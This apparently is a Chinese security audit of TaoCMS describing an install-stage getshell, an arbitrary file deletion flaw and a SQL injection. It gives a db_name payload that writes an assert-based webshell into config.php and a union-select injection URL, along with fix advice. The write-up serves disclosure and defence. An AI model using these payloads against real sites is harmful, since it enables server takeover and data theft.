taocms审计
字数 893 2025-08-07 08:22:07
TaoCMS 安全审计报告与漏洞分析
1. 安装阶段getshell漏洞
漏洞位置
/install.php第24行/config.php第16行
漏洞分析
-
安装过程中,
db_name参数通过POST传入后被直接赋值 -
代码将POST值覆盖写入
config.php文件:$configs=file_get_contents('config.php'); $_POST['db_name']&&$configs=str_replace('define(\'DB_NAME\', \''.DB_NAME.'\');','define(\'DB_NAME\', \''.$_POST['db_name'].'\');',$configs); file_put_contents('config.php',$configs); -
攻击者可利用闭合符号插入恶意代码:
db_name=|127.0.0.1:3306|root|123456|taocms|');assert($_REQUEST['cmd']);//
修复建议
- 对写入配置文件的参数进行严格过滤
- 使用正则表达式验证数据库名称格式
2. 任意文件删除漏洞
漏洞位置
admin/admin.php第17行include/Model/File.php
漏洞分析
-
通过URL参数控制文件删除操作:
?action=file&ctrl=del&path=filepath -
文件删除逻辑:
- 检查管理员权限(
$_SESSION[TB.'admin_level']=admin) - 拼接系统绝对路径(
SYS_ROOT) - 直接删除指定文件,未对路径进行充分验证
- 检查管理员权限(
-
结合目录穿越可实现任意文件删除
修复建议
- 实现严格的路径验证机制
- 限制可删除的文件目录范围
- 增加文件删除确认机制
3. SQL注入漏洞
漏洞位置
include/Model/Cms.php第112行include/Db/Mysql.php第60行
漏洞分析
-
注入POC:
?name=-1%"+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()%23&cat=0&status=&action=cms&ctrl=lists&submit=%E6%9F%A5%E8%AF%A2 -
最终执行的SQL语句:
select count(*) from cms_cms where 1=1 and name like "%-1%" union select group_concat(table_name) from information_schema.tables where table_schema=database()#%" ORDER BY id DESC limit 20 -
漏洞点:
name、cat、status参数直接拼接进SQL语句- 结果处理函数
magic2word会将注入结果返回
修复建议
- 使用预处理语句
- 对用户输入进行严格过滤
- 实现参数化查询
4. 其他安全建议
-
会话管理:
- 加强管理员权限验证
- 实现多因素认证
-
文件操作:
- 所有文件操作应限制在指定目录内
- 实现文件操作日志记录
-
安装过程:
- 安装完成后应删除或禁用install.php
- 检查install.lock文件权限
-
输入验证:
- 对所有用户输入实施白名单验证
- 关键操作增加CSRF防护
5. 漏洞修复状态
根据报告,上述漏洞已在最新版本中修复,建议用户及时升级到最新版本。开发者已在GitHub issue中对这些问题作出了回应。
注:本报告仅用于安全研究目的,请勿用于非法用途。所有漏洞信息均已公开披露并修复。